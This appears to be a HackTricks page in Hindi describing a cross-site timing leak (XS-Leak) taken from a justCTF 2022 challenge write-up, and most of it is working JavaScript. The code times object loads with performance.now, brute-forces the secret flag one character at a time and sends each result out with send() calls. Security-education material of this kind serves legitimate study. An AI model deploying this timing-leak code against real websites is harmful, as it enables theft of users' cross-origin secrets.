performance.now + Force heavy task

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें !

एक्सप्लॉइट https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/ से लिया गया है

इस चैलेंज में उपयोगकर्ता हजारों वर्ण भेज सकता था और यदि ध्वज में शामिल था, तो वर्ण बॉट को वापस भेज दिए जाते थे। इसलिए एक बड़ी मात्रा में वर्ण डालकर हमलावर यह माप सकता था कि क्या ध्वज भेजे गए स्ट्रिंग में शामिल था या नहीं।

शुरू में, मैंने ऑब्जेक्ट चौड़ाई और ऊचाई सेट नहीं की थी, लेकिन बाद में, मुझे यह महत्वपूर्ण मालूम हुआ क्योंकि डिफ़ॉल्ट साइज बहुत छोटा है जिससे लोड समय में अंतर नहीं पड़ता।

function leak(char, callback) { return new Promise(resolve => { let ss = 'just_random_string' let url = http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); })

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') let flag = 'justCTF{'

async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT_FOUND123') }

found /= 3 notFound /= 3

send('found flag:'+found) send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2) send('threshold:'+threshold)

if (notFound > found) { return }

// exploit while(true) { if (flag[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } }

main()

```

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated